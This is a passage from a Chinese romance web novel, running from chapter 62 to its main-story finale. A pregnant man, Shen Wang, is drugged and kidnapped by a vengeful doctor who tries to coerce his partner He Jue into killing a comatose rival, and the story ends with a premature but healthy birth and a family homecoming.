“不能,”柏庭修搬了一把软椅,冷淡地坐在沈望面前,“你刚才自己还说,肚子压得连气都喘不上。” “你的脊椎、内脏、盆腔,现在全部都被胎儿压迫着,假如你想活不到六十岁的话,可以继续忍一忍。” 啊! 沈望被这话吓得面色一改,“这么夸张吗?假如不剖出二宝的话?” “我只是举个例子,”柏庭修一点也不在意医生的措辞,极容易对病患造成身心阴影,“世界上不存在完美的手术,我只是在给沈先生和孩子保留最大概率的情况下,提出最优方案。” 沈望已经不想听他讲了,止手道,“柏先生是第一次接生产手术吧?”这一点,从他的言谈举止各个方面透漏无疑。 “沈先生确实是由我亲自操刀的产夫,而且,还是男性。” 沈望真想说,你跟你的所有病人都是这么单刀直入式对白吗? 柏庭修却忽然噤声,冥冥中像是在沉思着某件事,半晌道,“沈先生似乎是很神奇的人。” 沈望:“?” “不但可以怀孕生子,而且还能散发出很奇妙的香味,假如我没有猜错的话,沈先生的香味更多得来自于你的汗腺,而尿液是属于另外一种体内循环,所以只有浑身出汗时,会加重体味的芬芳。” “这真的很值得研究。” 沈望还是第一次跟除了鹤爵之外的男人,提自己有体香的有关问题。 他问,“柏医生觉得,我身上的这个毛病,能根治吗?” 柏庭修道,“怎么?难道这种特异的能力,会让沈先生感到困惑?” 困惑吧?肯定是有点的。 “我从小去不了游泳馆,也穿不了半袖短裤,更不能随随便便到人群密集的地方。” 这浑身的香味,实在是令人爱恨交加,既有好处,也有坏处。 “唯一的好处是,夏天特别驱赶蚊虫叮咬。” 柏庭修轻轻一笑,像是机器人突然被激发了某道指令,更是蜻蜓点过水面。 “沈先生是不是担心,爵爷对你的深切爱意,有一部分来自于身体的魅力?” “那绝对不是,”沈望回复得很干脆,“鹤爵他没有嗅觉,他根本闻不见我是什么味道的。” 触及私人问题的部分还是少谈为妙,沈望立刻换了话题道,“怎么连柏医生也叫他爵爷了?” 刚见面的时候,不是还叫鹤先生吗? 柏庭修道,“入乡随俗。” 正闲聊两句,鹤爵推门进来,看见沈望捧着肚子坐在床沿,与新认识的医生聊天,俩人似乎挺开心的。 鹤爵蹙了下眉道,“是哪里不舒服吗?”又对柏庭修道,“病人的一切事宜全部交给我处理,沈望现在只需要静养即可。” 驱赶的意思简直不言而喻。 柏庭修起身道,“作为主治医生,我只是了解一下病患的心情,看来沈先生心理准备的不错,方案差不多可以提上日程了。” 鹤爵稍微让开一道缝隙,由着柏庭修从身侧穿过,冥冥中两人的余光短距离交接片刻,旋即又分开。 鹤爵进去后,第一时间将屋门关闭。 医院长廊的光线明显暗了一度,发出清淡又惨白的光芒。 柏庭修淡淡说一句,“原来他失去了嗅觉啊。”那岂不是更好吗?嘴角微微一勾,快速离开了原地。 三天后。 沈望的手术必须如期进行,他这两天基本没有进食,只是靠营养液维持最基本的身体运作。 早晨护士来帮他备了皮,又说要去掉身上的饰品。 鹤爵道,“这个手镯属于终身款,恐怕取不下来,这个不用担心,我跟柏医生打好招呼就行。” 小护士走了。 鹤爵过来拉住沈望的手,跟他宽慰道,“不用担心,只是一个多小时,我们一家四口就可以见面。” 沈望露出笑说,“我不担心,反正麻药打了之后,我就什么也不知道了,该说担心的人应该是你吧?你的手冰冰凉凉的。” 鹤爵低了头,猛地抬起头时,连眼眶都泛红了,原本他并非一个多情的男人,只是因为爱上了沈望,才变得像一个真正的男人一般脆弱敏感。 “你生妙妙的时候,吃了很多苦,现在为了生淼淼,还是你在吃苦,望崽,我真该死。” 沈望已经不准他再说下去了,淡道,“我现在可是要去鬼门关转一大圈了,你可不要在我和二宝最关键的时刻说这种丧气话,咱们家缺了谁,都不能缺了你,嗯?” 护士推来理疗床,准备将沈望搬运到上面,鹤爵的激动情绪一旦开了头,俨然有点收拾不住的苗头,双手开始不停地打颤,直到将沉甸甸的两条生命,全部搬运到理疗床上。 “我和妙妙在手术室门口等你们俩。” 从病房到手术室的路程只有短短几百米,今天情况特殊,俨然变作了几千米,几万米似的。 鹤爵的手变得越来越凉,每一根手指都在不停地颤抖,仿佛不停地从沈望的手间汲取热量。 沈望只是对他温柔的笑着,深切地望着,却不再多说一个字。 若说胆小鬼的话,他以前一直比谁都要胆小呢,可是今天这样一比较,却发现原来鼎鼎有名的鹤爵才是真的胆小。 手术室前人人平等。 这个世界上,也终于有鹤爵根本迈步进去的地方。 沈望朝他的方向做了一个口型,“要等我们哦~”那一只被鹤爵攥得发凉的手指微微一翘,露出一小截的小手指,仿佛在等待一个约定。 一个关于终身的约定。 鹤爵彻底绷不住了,像他这样的地位、这般的经历,这等的岁数,很难从一生中找出一个怕字。 但他现在真得很怕,怕极了,手术室指示灯的颜色从绿色转变为了红色,分明是火上烹油,将鹤爵整个人往火架子上悬挂。 鹤爵不停地在原地徘徊,分明沈望才刚被推进去,可他整个人已经变得焦灼不安,每一分钟都衍变作恐怖地炙烤。 他要疯了!他要疯了!他要疯了! 赵管家实在看不过眼,一把摁住鹤爵来回旋转的身躯,言道,“不如我现在把妙妙小姐接来,这样你们父女俩互相打气,也能好受点。” 他跟沈望商量了好几次,针对提前剖腹产这件事,究竟要不要告诉告诉妙妙。 沈望是觉得不要让女儿担心,等从手术室里出来是一样的。 鹤爵则持相反意见,不过老婆总归是天,他也无力胜天。 鹤爵踟蹰半晌,觉得沈妙妙在场更好,正准备让赵管家去接小姐。 哪知沈妙妙的电话直接打到了沈望的手机上,鹤爵手里捏着对方的手机,没有接听。 不到半分钟,电话直接又打到了鹤爵的手机上。 鹤爵与赵管家对接眼色,转换了心情,才选择接听道,“怎么了?” 沈妙妙显得十分焦急,完全忘记自己跟鹤某人不合的事情,言道,“爸爸今天身体怎么样?有没有不舒服的地方?” “额,没有。” “真的吗?”沈妙妙的慌张已经从听筒中,断断续续地传达着,“我今天早晨接连摔碎了两个杯子,而且右眼皮一直在跳个没完没了的!” 鹤爵被她一讲,心底的不安感愈发夸大了,毕竟老人常说,母女连心,沈妙妙是沈望生的,彼此间肯定是有着心电感应的。 鹤爵强装镇定道,“小丫头还挺迷信啊,我跟你保证,爸爸他正在睡觉呢,安安稳稳的,你也不要胡思乱想,先” 鹤爵正准备安顿她把今天早晨的重要课程学完。 手术室一直亮着的红灯,忽然转成绿色。 分明才过去十分钟而已。 这简直太诡异了。 鹤爵连跟女儿讲话的功夫也没有,一把摁掉电话,大步流星地往前冲去,手术室的门恰好打开,护士推着空荡荡的理疗床出来,轱辘碾压着大理石地板,发出滋滋的声音。 “人呢?”鹤爵冷不丁对着小护士发难,“之前推进去的人呢?!” 小护士被他吓了一跳,连声说,“什么人?” “我的妻子!!”鹤爵抓住理疗床的边沿,完全失去了往日的风度翩翩,“我的妻子沈望,刚才被推进了手术室里做剖腹产手术!” 小护士简直要被吓哭了,她只是把里面不用的器械推出来而已啊。 赵管家过来帮忙,鹤爵一把推开他,笔直地往手术室里冲,走过空无一人的清洁区,凶神恶煞地冲进了手术区。 发现手术室里的人倒了一片,包括张院长、以及其他几名国外医生,全部倒在地面不省人事。 “这是什么情况!!”鹤爵的鼻子根本闻不见任何味道,倒是跟着冲进来的赵管家率先捂住鼻子,冲他喊道,“少爷,这里面味道不对,你先出来再说!” 随后医院里彻底变得热闹极了,鹤爵基本上是冲进了每一个病房,使劲翻找沈望的踪迹,他身后跟着不少的私人保镖,不停地询问究竟有没有看见一个叫柏庭修的? 张院长二十分钟后从昏迷状态中苏醒,鹤爵又立刻冲回来质问他。 鹤爵已经处于神经紧绷的的边缘化状态,一把扯住张院长的衣领,大声威胁道,“那个柏庭修究竟是什么来头!你确定他是业界有名的医生吗!” “沈望不见了!沈望tmd的不知道被这个王八蛋弄到哪里去了!!!” 最要命的事,真的发生了,居然还是在他的眼皮子低下! 徐美珊一直被偷偷地安排在隔壁手术室,听到动静赶紧出来帮忙,她先扯住鹤爵的双手,道,“这位老先生岁数大了,鹤先生,你不要太激动了!” 而后又替张院长等人看了一下情况,“是迷药的反应,这些人在进入手术室后,呼吸入了一定程度的迷药才导致的昏厥。” “那沈望呢!”鹤爵完全顾不到自己的个人形象,抓到头顶的发丝已经凌乱无比,“他若是呼吸了这种迷药,会有什么反应?!” 而且,沈望不知道被柏庭修弄去哪里了,他真的快要疯掉了! 鹤爵打开手机,自从沈望上次威胁过他之后,他的追踪定位系统已经很久没有更新了。 老天爷一定是在惩罚我!! 鹤爵正想砸掉手机的瞬间,手机忽然响起了陌生来电。 鹤爵接听道,“是你吗?柏庭修!!!” 柏庭修的声音十分冷静,与他的形成鲜明对比,言道,“是我。” 鹤爵准备要质问沈望的去处。 柏庭修突然道,“鹤爵,你的老婆好好的睡着呢,我不会把他怎么样的,所以没有必要报警,很快就能处理好的。” 你tm的混蛋!! 鹤爵低声吼着,“我要见到沈望!” 柏庭修说,“你想看见沈望,很容易,我不会提出什么特别难的要求,你只要帮我做一件小事情就行。” “医院的备用治疗室。” 备用治疗室!!! 鹤爵冲晕头晃脑的张院长道,“备用治疗室在哪里!快告诉我!!” 他现在气昏了,看见谁都极其不顺眼,恨不能杀掉泄愤。 此时此刻,私人保镖队长也过来告诉他一件很不妙的消息——这家医院的监控系统全部停用,也就是说,根本看不出来沈望从哪个门被偷运走的。 鹤爵顾不得监控的事情,捂住听筒,对保镖队长说了一句,“手镯。” 沈望的手镯安装十分精密的定位系统,可以很快地找到对方,不过需要再去鹤公馆将系统更新一下。 保镖队长瞬间明白,转身去办。 但是,那手镯的事情不能轻易被柏庭修知道,万一对方发现,沈望的手就难保了。 鹤爵可以拖延时间,帮沈望争取机会。 赵管家则跟着鹤爵,在医院医生的带领下,先去备用医疗室稳住对方。 备用医疗室处于医院的负楼层,常年不见光的地方,阴森森地骇人。 鹤爵走在刺骨般的森冷环境中,焦躁反倒沉浸下来,只听间皮鞋狠狠踩踏地面的声音在回想盘旋。 柏庭修道,“你老婆醒了,要不要说两句?” 鹤爵连忙喊着,“沈望!!沈望!!你有没有哪里不舒服?!” 沈望吸入的迷药量不多,只是醒来时头特别疼,伴随着强烈的呕吐感。 他微微一睁眼,发现自己根本没有躺在手术台间,而是躺在一块破草席上,四周的土坯房子歪歪斜斜,破洞蔓延,地面若是稍微晃动一下,大抵上是要坍塌了。 在他的旁边蹲着熟悉的柏庭修,不过他今天没穿白袍,而是一身轻便装扮。 “这是哪里?” 柏庭修抽回手机,对里面的鹤爵道,“已经听得很清楚了吧?” “现在,请打开你面前正对的那扇门。” “你的老朋友,正在里面等着的到来呢!” 鹤爵确信他没有在自己身上安装任何监控设备,一脚踢开备用治疗室的大门。 屋子里俨然属于不经常使用的,这种房间的设置一般用来处理医疗应急。 屋子最中央摆放着一张病床,而上面平展地躺着一具骷髅人。 说是骷髅人,但还有活气,从一旁的生命检测仪和呼吸机能判断出,这具皮包骨的骷髅,勉强还能维持着呼吸的本能。 可是至于是不是还算作生命意义上的活着,恐怕像鹤爵这类不懂医学的人,是无法鉴定的。 柏庭修道,“在他旁边有一个摄像头,现在请打开。” 鹤爵谨慎地靠近病床,用手指点开摄像头的刹那时,也意味着他近距离看清了骷髅的真面孔。 即使对方浑身发散出即将腐烂的恶臭,皮肤组织绵软塌陷,紧紧包裹着孱弱的骨架。 鹤爵依旧准确地认出来了,病床间的人的真面目。 “白寒书?” 第63章 一切平安 各种生命检测仪显示的数值均呈现在最低水平状态, 白寒书确实如同一具活死人般无声无息。 应该属于脑死亡状态下,被各种高级仪器的加固下,维持一定的心脏跃动。 鹤爵的警觉性极高,几乎是在一个瞬间便猜透对方在耍什么把戏, 禁不住冷嗤道, “你想让我杀了他?” 是不是有点太会安排时机了? 柏庭修双手小幅度鼓掌着, “没错没错,跟聪明人打交道, 真是一件痛快的事情。” 鹤爵朝备用医疗室的门口扫了一眼, 刚才在他打开摄像头之前, 跟在身后的赵管家, 极有默契地将私人医院前来领路的医生拦住,两人沉默地躲在了门口。 赵管家在柏庭修的视野盲区打开手机视频, 摄像头对准鹤爵的背影。 鹤爵看到赵管家的小动作之后, 才稍微换了种调侃的冰冷语气。 “柏医生, 你真是令我刮目相看啊。” “我以为医生都是天生职业道德感极高的圣徒,没想到你居然会怂恿我,做这种恐怖的事情。” 鹤爵沉稳地坐在一旁的椅子上,“我猜, 你跟白寒书应该不是恋人。” “但是, 你恨着白寒书, 你宁可用机器吊住他的命,也不愿意亲手拔掉氧气管。” “我猜, 你跟白寒书之间,还有另外一层不可告人的关系。” 白——柏。 柏——白。 鹤爵道, “我跟白家做商业上的竞争对手时,已经从各个方面把白家的底细查清楚, 后来白家选择了破产,除去死的死,伤的伤,逃到国外的基本上只是一些不成气候的虾兵蟹将,掀不起什么巨浪,能像柏医生这样有才华的,根本等于零。” “唯今看来,你只能是一种身份。” 鹤爵虽是隔着屏幕,屏幕之外又是不知距离的迢迢之地,纵便如此,也极难抵挡他瞳孔之下的阴沉质感。 “你是白家见不得人的私生子,假若你跟白寒书不是同父异母的关系,便有可能是白家老爷子的遗腹子,是白寒书见不得光的小叔叔。” “爵爷不亏是爵爷,”柏庭修这次没有鼓掌,反倒目光沉郁,从骨子里生出一种几乎恼羞成怒的恨意。 “我是白寒书同父异母的哥哥。” 不,“应该说我是白家丢在外面的野狗,没有身份,更没有地位,哪怕母亲得癌症死掉,也只能被白家驱赶在外的狗杂种。” 鹤爵此刻终于捋清楚一些事情。 例如,柏庭修为什么不能亲手弄死白寒书。 绝对不是因为,他还想继续做医生。 医生有明确条例要求,不能随便拔掉病患的氧气管,这属于犯罪行为。 柏庭修只是因为憎恨白家,憎恨父亲,憎恨着处于白家千般宠爱的白寒书!! 但他不能脏手,他还要痛快。 ——所以他要脏了我的手,来让他狠狠地痛快! 鹤爵转为不紧不慢的姿势,挪了一下身体道,“可柏医生这样算计我,实属不厚道吧?难道我就可以游走在法律之外了?” 柏庭修道,“鹤爵,你不要伪装善良,你骨子里有多么阴狠,难道你自己心里没数?” “白家是怎么被毁的?白寒书又是怎么被你逼得?他从悬崖跳海的时候,你分明也知道,可你有选择放过他了吗?” 鹤爵默默听了一遍,“商业间的逐鹿中原有自己的存亡法则,每天有无数的企业注册,也会有无数的企业宣告破产,我一直是一个奉公守法的商人,连法律都没有判定我是有罪的,你现在这样逼迫我,难道不属于教唆罪?” 柏庭修看了一眼手表,觉得鹤爵似乎是在拖延时间,不像是正常在进行对话的范畴,言道,“我现在手里可是有筹码的,你难道还分不清楚,赌桌上究竟谁才是真正的庄家?” 视频可以作为证据之一,但也有十分严苛的条件制约,单纯依靠两人刚才那种藏着掖着的谈话方式,估计也难有什么法律效益。 鹤爵也抬起手腕看了眼腕表,距离私人保镖队长离开也有一段时间,假如沈望的定位被更新的话,差不多立刻可以进行定位。 鹤爵起身道,“恕我不能同意,抱歉。” “呵呵呵。” 柏庭修倒是一点也不意外,而是从视频面前离开片刻。 鹤爵看不见人影,立刻慌乱起来,他能稳定情绪跟柏庭修打马虎眼,全靠多年经历大风大浪形成的应急反射。 可是沈望在对方手里啊!!! 沈望现在并不怎么晕眩了,他冥冥中听到了对话的部分内容,想要支撑着爬起来,而柏庭修冷漠无情地看着他的一举一动。 “沈望,我不会对你动粗,也不会对你做任何不道德的事情。” “我们还是早点解决最棘手的问题,你看你肚子这么大,总不好把孩子生产在草席上吧?” 畜生!!畜生!! 柏庭修弯下腰,“但我需要你帮我敲打一下鹤爵,不然他根本不懂得什么叫做害怕。” 说着,他从沈望的病号服上扯下一块布料。 沈望立刻尖叫道,“你做什么?!你是不是疯了!!” 这一声叫喊可不得了,传递到了鹤爵的耳中,俨然变成另外一种感受。 惊悚,窒息,颅脑内升腾起不断地恐惧感仿佛抽干了可以呼吸的氧气,令鹤爵同时爆喝道,“柏庭修!我满足你,你千万不要乱动沈望!不然我事后非要弄死你不可!!!” 柏庭修将布料捏在手里,对着屏幕抖了一下,“快点,爵爷,要做就做。” 鹤爵笔直地靠近白寒书的呼吸机,完全没有一点犹豫,将手指摁在呼吸机的开关上。 他看了一眼白寒书。 半死不活的阴鬼。 彻底去死吧! “不行!鹤爵!!你敢胡来!!”在柏庭修的背后,摇摇晃晃地站起来一具蹒跚身影,是沈望,他趁柏庭修以为自己根本起不来的空档,一把搂住柏庭修的脖颈,掐得对方进气比出气多。 柏庭修立刻强烈地挣扎起来,沈望选择从后面偷袭他,也是为了更好的保护肚子,所以柏庭修对他造成的伤害,主要集中于腰侧和双臂。 沈望忍住疼痛,咬牙喊着,“我可是在大广福杀了十几年的鱼,你这种神经病变态,根本不是我的对手!” 他这句话不假,掐住柏庭修的双臂充满力量,沈望心底默念。 我怀里的是一条鱼。 我抱住的是一条鱼而已! 抽出右手,一拳拳砸向怀中人的侧肋,基本次次砸在要害处。 “我叫你再给我乱跳,叫你再给我蹦跶!” 沈望的痛感被一种击打的快感所取代,他的情绪本来就不稳定,医生叫他准备一个发泄情绪的小玩偶,没事干也可以砸两拳的。 “我叫你威胁鹤爵!我叫你做坏事!!” 沈望冥冥中感觉手臂间紧勒住的人似乎断气了,忽然有点害怕,将手慢慢松了开来。 结果蔫耷耷的男人忽然恢复呼吸,转身挥了一拳,打得身后的沈望仰身倒了下去,鼻子里停不住地冒鼻血,眼冒金星。 “咳咳咳!” 柏庭修捂住艰难呼吸的喉部,冲到视频面前一看,哪里还有鹤爵的影子?! 呼吸机依旧在运作着!!! “王八蛋!胆小鬼!”柏庭修根本不顾得浑身的脏污,将监视器匆忙装进一旁的背包内,而后走到沈望的面前,阴恻恻道,“你用生命保护的男人是个懦夫,而你!” “你只是一个可怜兮兮的倒霉鬼!” 可能是计划落空了,柏庭修彻底脱去人类的外衣,转而变成邪恶的魔鬼,一把扯起沈望的衣襟,大言不惭道。 “你还记得十几年前,那一群把你堵在校门外,警告你离开鹤爵的人吗?” “没错,其实是我找来的。” “鹤爵其实很容易受到影响,只要我愿意给他适当的刺激,当年你的离开,多少也刺激到了他对白家彻底的报复。” “所以,你如果死了的话?鹤爵会不会变成更好受人摆布的人偶呢?” 言罢,柏庭修从包里掏出一柄手术刀,沈望感觉对方已经彻底疯了,拼死抓住他的手喊道,“你想做什么!!这里是法治社会,你敢!!” 柏庭修把他的病号服扯开,露出滚圆的肚皮,可能是二宝在肚子里感受到了惊悚,不停地钻来钻去。 “做什么?当然是做让鹤爵永远后悔的事情。” “我是不是说过,你身体具有很好的研究价值?!” 柏庭修甩开沈望的双手,准备将手术刀刺进肚子,却在眼神一扫间,看到了沈望右手手腕的镯子,正在不停地闪烁着蓝光。 “这是什么东西?” 沈望拧住一股劲儿,一脚踢在他的肩膀侧,转身向土坯房子外爬去。 “我准你走了吗!” 柏庭修一脚踩在沈望的小腿,“给我说清楚,这究竟是什么东西!” 他把沈望拖拽回来,提起散发着蓝光的金镯子,穷凶极恶地问道,“这究竟是什么!!” 不等沈望回答,一个弹簧子弹从窗户外笔直地飞了进来,击中柏庭修的胸口,释放出强大的电流,将穷凶极恶的男人电得口吐白沫,双眼一翻晕死过去。 随后从屋外冲进来几个身穿黑色劲装的保镖,其中一个来检查沈望的情况,而另外一个则给冲对讲机道,“爵爷,沈先生的情况不怎么好!” 沈望大概是跟柏庭修拼命太用力,又被对方狠狠给了几拳,人获救后彻底放松了劲儿,转眼晕厥了过去。 不知在黑暗的环境中浮浮沉沉了多久,沈望听见熟悉的声音在呼唤他。 鹤爵 沈望努力扒开眼睛,正看见鹤爵扶着理疗床的一侧,发疯地狂奔着,前面是帮忙开道的医生。 鹤爵不停朝他喊着,“沈望!你千万要挺住!!沈望!你看看我,你看看我!” 沈望总感觉这辈子都没见过这样模糊的鹤爵,仿佛就漂浮在手边,但碰一碰会顷刻破碎。 沈望说,“鹤爵” 鹤爵努力看着他的一切,包括他的口型。 鹤爵说,“快了!快了!我马上送你进手术室,你不要害怕!!” 分明害怕的是他呢。 沈望道,“我不害怕呢,鹤爵。” 他的疼痛逐渐在飘离身体,使得沈望说话的声音也轻轻浅浅的。 “我刚才好像回到了妙妙会死的那个房子。” 毛坯的土房子,四周漏风,屋顶的茅草窸窸窣窣,完全挡不住任何寒冷,躺在破草席上仿佛随时会丢掉性命。 “假如这世界真是一本书,假如我没能生下二宝,我死了。” “妙妙就永远不会发生这样的事情了。” 由她的亲爸爸换她,很公平。 “沈望,你千万不要说丧气话,求你!”鹤爵万年不曾湿润的眼眶,如今早已洪波泛滥。 “你不要胡思乱想,妙妙也不需要你去替她,我说过的,我要好好保护咱们一家。” “望崽,你不要放弃我,再也不要随便放弃我了!!” 徐美珊等人早已经在手术室前等候多时,看见推着沈望的车来了,叫张院长去拦住。 手术室的灯又转成红色。 鹤爵被张院长和几个人死死摁住,一点儿也不能动弹。 赵管家朝着他说,“少爷,少爷您振作一点,咱们鹤家一向顺风顺水,福气安康的,想必沈先生和二宝一定会逢凶化吉。” 逢凶化吉。 逢凶化吉! 鹤爵朝所有人道,“你们让我起来吧。” 听他的声音冷得像冰,赵管家知道少爷此刻所接受的煎熬必然是长千上万倍的,朝压制他的人道,“劳烦各位,将少爷搀扶起来吧。” 鹤爵心如死灰地挥了下手,不准任何人随便靠近他,他像一块冷透的雕塑,缓慢又僵硬地转移到了医院长椅间坐下。 人都说,未经苦楚,不求神佛。 鹤爵双手合十,不停地叨念着,“我佛慈悲,我佛慈悲。” 不远处,沈妙妙接到赵管家的电话,丢在正在学习的老师,火急火燎地冲了过来,远远一看见鹤爵便火冒三丈地骂着,“姓鹤的!你把我爸爸怎么了!你给我说清楚!!” 小姑娘冲上去要跟他拼命,被赵管家揽住腰道,“好小姐,您不要生少爷的气,沈先生那个样子,他也不好受,您再逼他,少爷也得疯了啊!” “我不管,我只要我爸爸好好的!!”沈妙妙多么坚强的一个人,蹲在地上抱头大哭。 整个长廊间都弥漫着极度低沉且压抑的氛围。 直到半个小时后。 护士急匆匆地走出来,朝鹤爵道,“爵爷,宝宝生了,只是月份不足,刚才已经送进保温箱了。” 鹤爵一把扯住她的手,朝护士瞠圆双目,恐怖得仿佛从地狱里爬出来的修罗。 “沈望呢!!沈望怎么样!!” 小护士是专门出来传话的,面露喜色道,“徐医生现在正在替沈先生缝合,应该再晚半个小时,就能出来了。” 谢天谢地。 鹤爵的脑子里浮现出这四个大字,人的眼前一黑,彻底朝后砸去,幸亏身边的沈妙妙和赵管家把他从后面托住。 鹤爵才没有眩晕过去。 他刚才像佛祖发誓,这辈子再也不随便杀生,也不吃荤斋,一辈子食素,只求沈望和二宝平平安安。 等沈望顺利从手术室推出来,徐医生特别跟父女俩交待,说沈望跟人搏斗时护住了腹部,所以没有产生不可弥补的恶果。 鹤爵已经紧张过度一整天,滴水未进还受尽了情绪波动,现在只有一口气吊着,脸色差得不得了。 徐医生看见沈妙妙也颇为紧张,使劲攥住鹤爵的袖子,借以支撑自己。 不由笑道,“看来你们都不知道沈望生的是什么?” 徐医生决定卖个关子,朝沈妙妙道,“以后有人陪你一起撒娇了。” 第64章【正文完结】 第64章 正文完结 二宝是早产儿, 若是一般人家的孩子恐怕天生要体弱些,幸亏二宝的吮吸力很强,吃奶完全不需要人工辅助,体重从刚开始的1600克逐步增高到2000克, 身体没有任何感染, 而且肺部也没有任何不良发育。 是一只小耗子般红通通的小baby。 沈妙妙每天只要有空, 就来新生儿重症监护室(NICU)中,探望二宝。 监护室的保温箱总共有三十个左右, 其中有十个保温箱中住着这些天生不足的小宝宝。 目前看来, 只有二宝看起来体型最小, 像大熊猫生下的小崽崽, 红通通地穿着鹤爵从国外特别定制来的小号尿不湿,眼睛微微眯着, 将超级小号的大拇指含在嘴里不停吮吸, 两条小细腿动来动去的, 一刻都不安生。 沈妙妙拿出给二宝买的玩偶,这款玩偶是按照自己的五官特别设计的Q版姐崽,朝保温箱里的二宝笑道,“臭淼淼, 你在这里已经躺了两周啦, 准备什么时候出来让姐姐亲亲你呢?” 沈妙妙隔着玻璃逗弄二宝, 却见鹤爵也过来看孩子,旋即将买好的玩偶塞进背包, 假装一脸严肃。 鹤爵过来看见她,显得颇为意外, 最主要的是期末考斯在即,京大的挂科率是全国出名的高, 不禁问道,“你怎么过来了?” 沈妙妙直起腰,转而侧头扬起下巴,“我来看看我的亲妹妹,怎么,不行啊?!” “当然可以,我怎么敢对妙妙公主指手画脚?”鹤爵宠溺地摸了摸大女儿的头,“我只是想着,今年过年,恐怕爸爸和二宝不能跟你一起回广城了。” 哼! 沈妙妙心底骂他得了便宜又来卖乖,真是个老毕登!! 言道,“都怪你,淼淼的生日原本应该在二月,是一个春天的孩子,现在生在十二月里,被冻得像一只瑟瑟发抖的小老鼠。” 小老鼠? 鹤爵往前凑着去看自己的二女儿,发现沈淼淼确实是十几个婴儿里最小的,一身皱巴巴的红皮肤,张牙舞爪的。 但是可爱极了。 尤其两人在外面讨论着,沈淼淼像是心灵感应,蓦得睁开眯眯眼,却发现这孩子的眼睛一点也不小,反倒是一双黑幽幽的桃花眼,眼尾翘翘的,细看很是漂亮。 然后朝着两个人的方向,打了一个打哈欠,能看见粉红的小舌头在小嘴巴里蠕动着。 鹤爵连忙搜自己的衣兜。 沈妙妙已经超级快地掏出手机,将小妹憨态可掬的画面拍摄下来。 “现在又不嫌弃你妹妹是一只小红耗子了?” 沈妙妙才不搭理亲爹的挑拨,现在这个老头子高兴得要命,正所谓得意忘形。 “淼淼长得像爸爸,以后肯定是超级美人。” 鹤爵的手又不老实地搭在她的头发上,“那你知道自己像谁吗?” 沈妙妙切了一声。 “你现在才觉得我像你啊?”沈妙妙对他吐吐舌头,“你之前绝对不是这样想的吧?” 哼╭(╯^╰)╮! 鹤爵在私人医院里有股份,而且三哥和张院长更是事事周到,所以沈淼淼在暖烘烘的保温箱里潇洒地住了一个月。 沈淼淼周围的小婴儿们也不是普通人,这家私人医院是面向年收入高达上千万的人群开放的。 一群婴儿的身份天生高人一等,例如某银行行长的孙子,某外贸公司老总的女儿,某化妆品公司创意总监的双胞胎。 一群小宝贝完全没有出院回家的意思,把保温箱当作豪宅住,尤其沈淼淼一打哈欠,其他的男女宝宝也跟着一起打,沈淼淼肚子一饿了哭鼻子,其他婴儿们也哇哇大哭。 不过沈淼淼的伙食明显比其他宝宝好,这些宝宝多数吃进口奶粉,沈淼淼吃得是纯天然高营养的父乳。 沈望坚持要亲自喂养二女儿,毕竟淼淼不足月,是被迫推出来见识这个世界的,他总害怕孩子天生不足,后天营养再跟不上,自己一定会懊恼至死。 所以沈望为了产乳,每天大量饮用各种补汤,身材胖了一圈,皮肤倒是细腻极了温软如玉,尤其生完二宝后,体香变得更加沉馥,不再是果实花草的清甜,而是一种更为熟透了,触一触会爆出果汁的蜜香。 所以在这种高质量的抚慰下,二宝的皮肤很快褪去红色,变成跟沈望一样的细腻肉白,再躺进保温箱里,明显比其他小婴儿耀眼万分。 假如公主的美貌有段位的话,大概就是指皮肤像雪一样白,嘴唇红软像鲜嫩的玫瑰花,头发乌黑的像炭。 二宝足月要在家举行仪式,尤其沈妙妙也该认祖归宗了,于是鹤爵和沈望两人一合计,宝宝30天整的时候,可以接宝回家了。 鹤爵原本打算抱二宝的,结果被沈妙妙直接抢走,还朝他露出哂笑,“你笨手笨脚的,先去买个假婴儿练练手,我还怕你把二宝给摔了呢。” 对于这一点,沈望很有发言权,朝鹤爵道,“不行,你真的去买个假婴儿练练手?” 假如:鹤爵没有在给沈望削苹果的时候差点削破手指,帮沈望取包裹的时候拿错快递,替沈望换纱布时,戳得刀疤好疼。 “胡说,”鹤爵有点失了面子,反驳地超快,“二宝拉粑粑的时候,我处理的很好。” 沈望搀着他的手臂,“二宝是女宝宝,擦屁屁跟男宝宝是不一样的,你每次擦完还不是需要我再处理一下?” 算了,某些人是天生的少爷,没有生活常识是可以理解的。 “我不同意!”鹤爵忽然从他身边跑开,几个健步追上沈妙妙,一把将沈妙妙和二宝一起抱起来,哈哈笑道,“不要说二宝了,我大宝二宝一样可以抱得稳稳的。” 车子开到半路上,沈望叫司机停了一阵,又派沈妙妙去买几盒万通筋骨贴。 沈妙妙笑得腰都快直不起来了。 买药回来后,抱着二宝往后看。 鹤爵半躺在沈望的怀里,沈望往他的后腰贴了三张药膏,温柔地帮某个人揉搓道,“妙妙已经是大姑娘了,你不要莽撞啊。” 鹤爵禁不住反驳,“主要是最近没有好好地健身。” 他说的没错,自从老婆二宝住院,他基本上以院为家,吃饭办公睡觉统一挪到病房,可以说沈望胖了十斤,他就掉了二十斤。 鹤爵说,“千金千金,我现在有两个宝贝千金,还有一个万万金的老婆,压死我也值得。” 沈望偷偷拧了一把他刚闪到的老腰,疼得某人呲牙咧嘴,才笑说,“你可得好好挺着,咱们这个家没你不行。” 鹤爵只孱弱了一个小时,等快到鹤公馆门口前,人蓦得坐得挺直,完全不像是老弱病残,完全恢复令人闻风丧胆的爵爷形象,威严感十足。 沈妙妙悄悄给二宝解释说,“这就叫装逼,记住了吗?以后哪个男的在你面前像他这样,听姐姐的,离远点。” 鹤老爷子和其他的鹤家人早已经在门口等着他们归家。 沈望有点不好意思说,“老人家岁数大了,每次都让他在门口等我,我心里实在过不去啊。” 鹤爵淡道,“不用有负担,你现在是鹤家的功臣,他们是爱你敬你。” “什么?”沈望难以置信,“我做了什么?能成为鹤家的功臣?” 鹤爵抓住他的手,放在嘴边吻了吻,又忍不住窃玉偷香似的,吻了沈望的嘴唇。 “因为你征服了鹤家的野兽,让他有家可归。” 沈望羞红脸:“真的吗?” 沈妙妙亲了一口二宝,捂住二宝的眼睛,非礼勿视,这俩人以后估计管你大宝二宝的,随便搂随便亲,随便甜蜜。 “来,淼淼,跟我学一个动作,叫翻白眼。” 鹤公馆今天迎来了最热闹的一天,鹤家的男女老少齐聚一堂,一方面是给二宝挂长生锁,一方面是迎接新成员沈妙妙入族谱。 鹤老爷子笑得见牙不见眼,给两个新得的孙女一人送了一个拳头大的纯金金锁,上面用冰种翡翠雕刻着:长命百岁,德福安康。 沈淼淼是肯定戴不了这么大的一块金锁,沈妙妙也戴不动啊。 